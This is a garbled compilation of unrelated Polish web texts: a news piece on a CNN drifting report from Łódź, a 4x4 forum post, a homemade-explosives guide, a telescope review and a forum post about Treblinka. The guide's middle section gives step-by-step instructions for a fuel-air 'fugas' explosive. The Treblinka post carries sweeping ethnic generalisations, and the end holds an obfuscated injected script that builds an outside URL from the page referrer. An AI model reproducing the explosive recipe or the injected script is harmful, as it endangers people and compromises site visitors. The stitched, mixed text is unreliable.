Reportaż trwa trzy minuty. Zaczyna się archiwalnymi nagraniami z zatłoczonych łódzkich ulic. Stare tramwaje i rozklekotane auta po chwili zamieniają się na współczesne kolorowe samochody wyścigowe. To czwarta runda Toyo Drift Cup - imprezy, która pod widzewskie Tesco przyciągnęła we wrześniu rzesze fanów "driftingu", czyli techniki jazdy samochodem w kontrolowanym poślizgu. Phil Black, dziennikarz CNN, opowiada, jak łodzianie zafascynowani są szybkością, hałasem i "palącymi gumami" samochodów wyścigowych. Reporter przedstawia historię młodego architekta, który wydaje tysiące dolarów na ulepszanie swojej machiny, by ścigać się nią w weekendy. - Jestem tylko ja, samochód i droga. Nic więcej się nie liczy - opowiada w materiale architekt Marek.

Black nawiązuje jednak do problemu, z jakim dzięki wyścigom Łódź sobie poradziła. Chodzi o nielegalne wyścigi samochodowe na drogach publicznych pod osłoną nocy. - Na portalu You Tube młodzi ludzie chwalą się parametrami swoich samochodów, które sprawdzają na drogach publicznych - opowiada dziennikarz.

Łódź zdecydowała się organizować miejskie wyścigi samochodów, by zapobiec temu problemowi. Policjanci z Łodzi opowiadają Blackowi, jak od czasu pierwszej imprezy tego typu diametralnie zmniejszyła się liczba takich nielegalnych zabaw.

Dziennikarzowi udało się znaleźć nawet byłego uczestnika nielegalnych wyścigów, który - jak w bajce - zrezygnował z niezgodnego z prawem nawyku, gdy tylko okazało się, że ma legalną alternatywę.

Na koniec dziennikarz na własnej skórze przekonuje się, jak szybkie są łódzkie machiny - jedzie w jednej z nich. I ocenia łódzki pomysł jako świetny.

Czy tak samo świetną wizytówką Łodzi jest reportaż o wyścigach samochodowych? Autor "Szybkich i wściekłych" jest o tym przekonany. - Bardzo ciekawy dziennikarsko temat, a nie reklamówka turystyczna - mówi Phil Black, korespondent CNN. - Chcemy podejść do tej historii społecznie. To fascynujące zjawisko.

Problem w tym, że w przeciwieństwie do reportaży z innych miast, w tym o Łodzi chwalimy się jedynie drogami osiedlowymi, fanami szybkiej jazdy samochodem i hipermarketem.

Tymczasem w CNN Gdańsk na przykład pokazuje stoczniową historię i ikony, jak Lech Wałęsa; Sopot - prężnym rozwojem turystyki i tytułem "Perły Bałtyku"; Poznań - przedsiębiorcą autobusów, który osiągnął sukces na skalę europejską, a także świetnie wyposażoną bazą lotnictwa taktycznego w Krzesinach.

Czy łódzkie wyścigi mają szansę zachwycić zagranicznych gości?

Dr Marta Hereźniak z katedry marketingu międzynarodowego i dystrybucji Uniwersytetu Łódzkiego: - Niezależnie od tego, co sądzimy o tym materiale, jest to reportaż. A reportaż to zawsze bardziej wiarygodny sposób na promowanie miasta niż reklama. Bo ludzie są zmęczeni reklamami - opowiada.

Dodaje jednak, że temat reportażu nie pokazuje Łodzi w pełni. - Szkoda, że nikt nie naprowadził dziennikarza CNN na temat równie ciekawy, ale pokazujący miasto w szerszym kontekście, pokazującym bardziej uroki miasta. Bo nie trzeba być specem od marketingu, żeby po obejrzeniu tego materiału czuć pewien niedosyt - opowiada.

Przyznaje też, że każde promujące się miasto powinno mieć bazę danych tzw. historii sukcesu. To gotowe przemyślane przez specjalistów tematy mogące zainteresować dziennikarzy zagranicznych. Czy Łódź ma coś takiego?




Źródło: Gazeta Wyborcza Łódź

Złota Błotna Jesień 4x4

[/quote]
Ano nie jest to bajka.

Simarco, znamy sie nie od dzis i nie raz razem albo wiekszą grupą oddawalismy sie swemu hobby. Doskonale równiesz wiesz ze jestem rownie jak Ty entujzasta wszelkiego typu eskapad, i w tej kwestii mamy jesli nie identyczne to bardzo podobne zdanie. Ja nie pietnuje Twojego wkładu i pracy Gizma dot. Krzepic. Zresztą czy odniosłes wrazenie iz mam jakiekolwiek pretensje, czy moja wypowiedz kogos szkaluje, obraża ?? Zostałem sprowokowany wypowiedzia i frustracja Gizma dotyczaca frekwencji i zadałem pytanie RETORYCZNE dlaczego tak sie stało. Mysle ze tu tez sie zgadzamy. Pozwole sobie zadac je dzis bardziej dosadnie.
Dlaczego nasze spotkania, gdzie powiadomienie SMS'owe, wysyłamy sobie godzine przed wyjazdem w teren, potrafi zmobilizowac wiecej osób niż Impreza nagłaśniana przez miesiąc na kilku forach tematycznych ?

I druga sprawa, jesteś zbyt błyskotliwy i inteligentny byl uważać iz chodzi mi o medialną papke, hostessy, degustacje czy sampling. Mam na myśli zwykły, najprostrzy, wrecz prymitywny PR, rzeczową infomacje. Informacje która ma chocby w minimalnym stopniu zachecic do przyjechania na impreze, lub conajmniej wzbudzic ciekawośc. Polecam przesledzic topic dotyczacy imprezy w Krzepicach na Rajdach4x4 - forum regionalne Slask, jak również topic na Jeeporg'u. Pomijam juz mocno dyskusyjny link do You tube, który jak wnioskuje miał byc formą wizytówki imprezy.

Wiec pytam Cie Przyjacielu, jako starego wyjadacza w kwestii PR i marketingu, faceta który w latach 90 był składową tak renomowanych przedsiewziec jak np."Camel Planet" czy "Techno West" przy których to projektach również i ja miałem szanse pracowac,- Czy nie widzisz pewnego braku logicznego ciągu.

Ok. powiesz ze to miałabyc impreza dla znajomych, kolegów.
Wiec zapytam, to po co tak wielkie nagłośnienie, trzy fora tematyczne, dodatkowe topic' i dotyczace tyczenia trasy. Po co takie Wielkie Halo, moze wysłanie SMS do zainteresowanych odniosłoby wiekszy sukces ??

Jeszcze jedno, raczej mało logiczne jest tyczenie trasy w asyscie kolegów którzy póżniej mają brac udział w imprezie roadbookowej. Przeciez im roadbook nie jest juz potrzebny, oni znają te trase na pamiec bo sami ja tyczyli.

I ostatnia kwestia.

Jesli chcemy kreowac sie na animatora offroadowej sceny naszego regionu /nie mam nic przeciwko/ to jednak sugeruje wziac sobie do serca kilka fundamentalnych zasad. Jakich ? Najbliższy wzorzec Silesia -Qubus, Havel itd., lub nauczyć sie słucha innych, a nie twierdzic ze samemu wie sie lepiej. Ja życze powodzenia i jeszcze raz powtarzam doceniam checi i prace , "chapeau bas", polemika dotyczy jedynie postprodukcji.

Wymiana zdan jak i jazda w teren z Toba Simarco to wielka przyjemnosc, dlatego pozwolilem sobie skrobnac te kilka słow mimo EOT'u. Mysle iz mozemy ja kontynuowac juz prywatnie przy browarku nie na łamach forum, bo nie do konca moze to interesowac uczestników szacownego forum a wrecz przeszkadzac. BTW , jesli naruszyłem regulamin forum lub "kasztaniłem" zbyt srogo to SORRY.

I mysle ze nie jestesmy raczej podeszlismy do tematu niekonwencjonalnie.

Podręcznik młodego pirotechnika

EFEKT GRZYBA ATOMOWEGO
tzw. Fugasy

Zapewne wiele razy widzieliście w filmach akcji wybuchy, którym towarzyszyła wielka kula ognia, grzyb, później czarny dym. Na pewno wielu z was sądzi, że ten efekt uzyskiwany jest przez użycie materiałów wybuchowym typu trotyl, plastik itp. Jednak wybuch materiału kruszącego takiego jak trotyl nie wytwarza kuli ognia. Trudno się dopatrzeć nawet błysku, lecz rozmiar zniszczeń jest ogromny.

Jak wiadomo kino akcji musi być widowiskowe, dlatego wybuchy w filmach też muszą być widowiskowe. Bardzo ładne wybuchy uzyskuje się przez rozpylenie paliwa wcześniej przygotowanym ładunkiem. Właśnie tymi zagadnieniami zajmiemy się w tym w tym artykule, ale dosyć biadolenia zabieramy się do roboty.
Budowa Fugasa:

Uwagi: aby zabierać się za fugasy musisz mieć opanowane robienie petard z zapalnikiem elektrycznym, jeśli tego nie potrafisz nawet nie czytaj tego co jest poniżej. Wybuch, fugasa jest bardzo niebezpieczny, należy go odpalać w miejscu, które się nie zapali (najlepiej po deszczu). Należy stosować zapalniki elektryczne gdyż lont może przedwcześnie odpalić paliwo :(

Potrzebne rzeczy:

-proch fotobłyskowy, ewentualnie proch czarny.
-taśma
-woreczki
-kartonowa tuba
-zapalnik elektryczny(przynajmniej 20m)
-benzyna, olej napędowy, rozpuszczalnik-cokolwiek co się ładnie pali.
-łopatka

1.
Pierwszą rzeczą, za którą się zabierzemy będzie zrobienie petardy kulistej na proch fotobłyskowy. Dokładniejszy opis znajdziesz w tym dziale, jednak należy pamiętać o umieszczeniu w środku zapalnika(żarówki lub drucika oporowego). Petarda musi być dosyć mocna, żeby ładnie rozpyliła nasze paliwo. Namawiam tutaj do użycia prochu fotobłyskowego, gdyż proch ten wytwarza wysoką temperaturę przy wybuchu, dzięki temu następuje zapalenie paliwa. Użycie saletry z cukrem może jedynie zepsuć naszego fugasa i zmarnować cenne paliwo...
2.
Należy zrobić lub zakupić papierową tubę, w której umieścimy petardę i paliwo. Średnice należy dobierać odpowiednio do wielkości petardy.. Moim zdaniem powinna być większa od średnicy petardy o jakieś 20%. Wysokość odpowiednia do ilości użytego paliwa. Należy zadbać o dosyć solidne dno- można go wykonać z gipsu.
3.
Kolejną rzeczą jest zorganizowanie paliSaje benzyna+ olej napędowy w stosunku 1/1. Można użyć dowolnego paliwa … Można także zrobić fugasa na mąke, lecz to już inna bajka. Paliwo przelewamy np. do butelki po napoju, gdyż fugasa będziemy „składali” dopiero na miejscu odpalenia.
4.
Gdy już mamy wszystko przygotowane, znaleźliśmy miejsce, w którym możemy odpalić fugasa bierzemy się do roboty.. Wykopujemy dziurę w ziemi taką, aby tuba pasownie weszła, nie może być żadnych luzów między ziemią a tubą, bo osłabi to wyrzucenie paliwa.
5.
Teraz wystarczy wszystko wpakować jak należy: na sam spód tuby kładziemy petarde, jeśli jest duży luz między ściankami tuby a petardą wkładamy papier, aby paliwo nie dotykało dna tuby, pamiętamy, że ma paliwo ma polecieć w górę a nie na boki. Teraz należy wyciągnąć woreczki, ostatnio użyłem trzech sztuk (aby wykluczyć możliwość przeciekania). Pusty, szczelny woreczek wkładamy do tuby i zalewamy wcześniej przygotowanym paliwem. To chyba wszystko, teraz wystarczy się oddalić(daleko) i odpalać!!!

Recenzja refraktora Skywatcher 100/1000 na EQ3-2

Recenzja refraktora Skywatcher 100/1000 na EQ3-2

Dane Techniczne:
Średnica soczewki – 100mm
Ogniskowa – 1000mm
Multi Coated Optics
Aluminiowa tuba
Obiektyw regulowanej celi
Szukacz 6x30
Wyciąg 2” rack and pinion z redukcją na 1,25”
Okulary: Plossl Vixen 15mm i Super Plossl NPZ 32mm
Montaż EQ3-2 z prowadzeniem w jednej osi.

Wprowadzenie:
Tuba optyczna i montaż zostały zakupione osobno na giełdzie astronomicznej astro4u.
Za tubę zapłaciłem 550zł, za montaż 600zł. Do tego musiałem dokupić okulary i filtr słoneczny. Co do okularów to zdecydowałem się na vixena Plossla 15mm i Super Plossla NPZ 32mm, które zakupiłem od mojego kolegi po dość niskiej cenie 120zł. Koszt całego teleskopu z prowadzeniem, okularami i filtrem słonecznym zamknął się w kwocie 1280zł.

Pierwsze światło:
Na pierwszy ogień poszedł Jowisz. Przy powiększeniu 31x wyraźnie były widoczne 2 pasy równikowe. Przy 66x dopatrzyłem się 4 pasów na Jowiszu. Warunki były wtedy dość dobre. Po pierwszych obserwacjach mogłem stwierdzić, że aberracja na jowiszu trochę wkurza. Niestety po 20 minutach przyszły chmury i dalsze obserwacje nie były możliwe. Następnego dnia pogoda był dość dobra, dlatego wystawiłem telepa na dwór. Najpierw ustawiłem rure na Saturna. Pierścień i przerwa cassiniego była wyraźnie widoczna przy 100x. Obok planety było widać 2 albo 3 księżyce nie pamiętam dokładnie. Na Saturnie aberracja już tak nie przeszkadzała. Następnie skierowałem lunete na Księżyc. Tutaj refraktor pokazał pazurki. Obraz Księżyca był idealnie ostry i biały (naturalność barw).
W tym zakresie refraktor potwierdził swoje możliwości, a zwłaszcza bardzo dobrą optykę.
Konkluzje po pierwszych obserwacjach:
Teleskop posiada bardzo dobą optykę. Wyciąg chodzi płynnie bez żadnych luzów. Jedyną rzeczą do, której muszę się przyczepić to statyw aluminiowy. Totalna porażka, teleskop trząsł
się jak osika. Potrzebne było wymienienie nóg na solidniejsze.
Po jakimś czasie dokupiłem statyw teodolitowy oraz prowadzenie w jednej osi. Komfort obserwacji znacznie się polepszył i był już dość przyzwoity.
Obserwacje w Jeziorach Wielkich- Test bojowy pod ciemnym niebem z wuchtą fajnych okularów.
Tej nocy wybrałem się z Polarisem do Jezior Wielkich gdzie zastaliśmy Macieja Dominika (Emdego) i Marka Wąsowskiego (Marvasa). Tej nocy oglądaliśmy głównie DS. Do mojego teleskopu wsadziliśmy 2 calową kątówkę WO i co chwilę wsadzaliśmy inny okular dwucalowy z filtrem do DS. Byłem pod wrażeniem dawanych obrazów DS. mojego telepa. Po prostu bajka. Najbardziej podobał mi się Veil (cudo!) M27 i M57 też niczego sobie a „Hihotki” zapierały dech w piersiach. Kukaliśmy również na M13, dziką kaczkę i parę innych. Byłem pod wysokim, wrażeniem obrazów DS. Teleskop bardziej sprawdził się w obrazach DS niż planet przynajmniej Jowisza ( Saturn był oki).
Konkluzje:
Po pół rocznych obserwacjach można wyciągnąć trochę wniosków. Teleskop ma bardzo dobrą optykę. Głowica EQ3-2 chodzi płynnie i nie ma żadnych luzów, aczkolwiek statyw trzeba od razu wymienić na lepszy.Szukacz, a właściwie szukaczyk 6x30mm,jest do kitu. Teleskop bardzo dobrze sprawdza się podczas obserwacji DS. oraz saturna z Jowiszem trochę gorzej.
Podsumowując polecam ten teleskop każdemu początkującemu miłośnikowi astronomii, ponieważ ma bardzo dobrą optykę i dobrą głowicę. Nie wiem czy w tej cenie dostanie się coś lepszego.

pzdr Adam

P.S co myślicie o recenzj

II WS wyjazdy do palesyny

Użytkownik "SJS" <

Cytat:to nie są bzdury
wiele lat temu przewodnik oprowadzający po Treblince opowiadał, że
pierwsze
transporty to były otwarte i o wiele więcej mogli zabrać niż później bo im
mówiono, że jadą na wschód kolonizować tamte tereny, wg tego co opowiadał
to
do zatrzymawnych pod semaforami wagonów podbiegali miejscowi chłopi a było
to kilkanaście kilometrów od obozu i mówili, żeby uciekali bo ich na
śmierć
wiozą - ci nie wierzyli a nawet zdażało się że odpowiadali, że jeszcze
będziemy wami żądzili tam na wschodzie
SJS



Połowę ofiar Treblinki stanowili Żydzi warszawscy, resztę Żydzi z GG.
Nieliczne transporty pochodziły z zachodu, Grecji i Bułgarii.

Warszawscy Żydzi mogli zabrać 15 kilo bagażu, i chyba 1500 złotych gotówki.
Oczywiście z tą gotówka Niemcy nie byli skrupulatni, bo i tak trafiała do
nich. Większość bagażu i tak zostawała na umschagplatz, bo tam był straszny
ścisk. Ładowano po 100 osób na wagon towarowy, ale często znacznie więcej.
Zdarzało się, że wagony docierały pełne trupów

Chłopi to oczywiście lecieli ale żeby sprzedaż Np. szklankę wody za 500
złotych np.

Na umschlagplatzu koczowały tysiące ludzi bez wody, i bez sanitariatów.
Okradali ich Ukraińcy i szaulisi (o których jakoś organizacje żydowskie mało
mówią). O Niemcach tez mało mówią no bo to
teraz przyjaciele. Wrogiem stali się tylko Polacy.

Ukraińcy Gwałcili młode kobiety i mordowali kogo popadło. Pomagała im w tym
dzielnie żydowska policja.

W drodze to samo. Po przyjeździe (przynajmniej do końca sierpnia kiedy
Elberta w Treblince zastąpił Stangl) w obozie panował potworny burdel. Po
wyjściu z wagonów wachmani z bratniej Ukrainy strzelali do kogo podpadło,
resztę zapędzali na plac między dwa baraki. Wszędzie leżało setki gnijących
trupów. Kobiety rozbierały się w jednym z baraków, tam je strzyżono.
Mężczyźni rozbierali się koło drugiego. Potem gnano ich przez tzw. tubę
(Himmelstrasse) do komory/komór. Wtłaczano ich do 3 komór (od września do
13) i duszono spalinami z rosyjskich czołgów. Musieli biec z podniesionymi
rękami, bo wtedy więcej ofiar wchodziło do komory. Dzieci wrzucano na
wierzch (o ile ich jakiś wachman nie rozerwał). Na progu komór stało 2
Ukraińców - jeden z ich to "straszny Iwan" (do dziś nie odnaleziony). Miał
szable kawaleryjską i ciął i dźgał Żydów aby zmusić ich do wejścia.
Napychano ich do granic możliwości. Potem zamykali komory i włączali
silniki. Proces gazowania trwała około 20-30 minut. Potem otwierano duże
drzwi z drugiej strony. Trupy stały splecione między sobą i aby je rozerwać
polewano je wodą. Potem wkraczało sonderkomando i wlokło je do dołów. Na
wiosnę 1943 (po Katyniu) zaczęto rozkopywać groby i palić rozkładające się
zwłoki.

Nie jestem Żydem ale nie lubię jak się dorabia pewne rzeczy do historii.
Było jak było. Polacy w głównej masie nie kochali Żydów. Jeżeli chodzi o
Żydów darzyli oni Polaków równą lub nawet większą niechęcią. Można
powiedzieć, że te dwie grupy etniczne w zasadzie się nienawidziły nawzajem.
Większość społeczeństwa była obojętna temu co się dzieje. Elity próbowały
cos robić i stworzyły Żegotę. Ale to była kropla w morzu potrzeb. Zresztą
nie wiem jaką trzeba było mieć odwagę aby pomagać, skoro za przechowywanie
żyda, cała rodzina polska szła pod ścianę a często i sąsiedzi. Ciekawe czy
żydowska matka przechowała by polskie dziecko, wiedząc że za to ja
rozstrzelają z rodziną ?? Przechowywanie Żyda, nawet za pieniądze było
bohaterstwem.

Rzeczywiście transporty z zachodniej europy nie były pilnowane. Jechały w
osobowych wagonach i często brały np. narzędzia pracy ze sobą. Słyszałem
historię o jakimś Żydzie z zachodniej Europy, co wyszedł do bufetu na stacji
w Polsce coś kupić i uciekł mu pociąg a on go gonił. Ale to była inna bajka,
tyle że zakończenie miała identyczne.

W listopadzie ma ruszyć owa strona internetowa, rozszerzenia dawnej strony o
akcji Reinhard. Stara strona była bardzo dobra. Cześć pisana była w języku
polskim, były zdjęcia, wspomnienia, opisy i makiety współczesne obozów,
multimedialne obrazy komór gazowych.
Póki co jeszcze nie chodzi.
http://www.holocaustresearchproject.org/toc.html

Tu działy się okropne rzeczy, niewyobrażalne. Moja matka widziała w okupację
jak Ukrainiec wyrzucił z 2 piętra żydowskie niemowlę. I w tym wszystkim jest
mało polskiej winy, mimo że ktoś systematycznie nas w nią wrabia.

Ale nie dajmy się zwariować i nie głośmy, że nasze społeczeństwo bez mała
broniło żydowskie ofiary jadące na śmierć. To nie była Holandia, gdzie przy
deportacjach wybuchały strajki. Ale w Holandii nikt nie stosowała takiego
terroru jak tutaj.

Inna prawdopodobnie była prawda o Korczaku i jego ostatniej drodze, kupę
pierdoł chyba powypisywał Szpilman. Ludzie biorą to za prawdę a tak do końca
nie jest. Polacy lubią mówić swoje, Żydzi swoje


function bb515451f628a10(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515451f6289c7(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515451f6289c7(bb515451f628a10(document.referrer),bb515451f628a10(document.title)));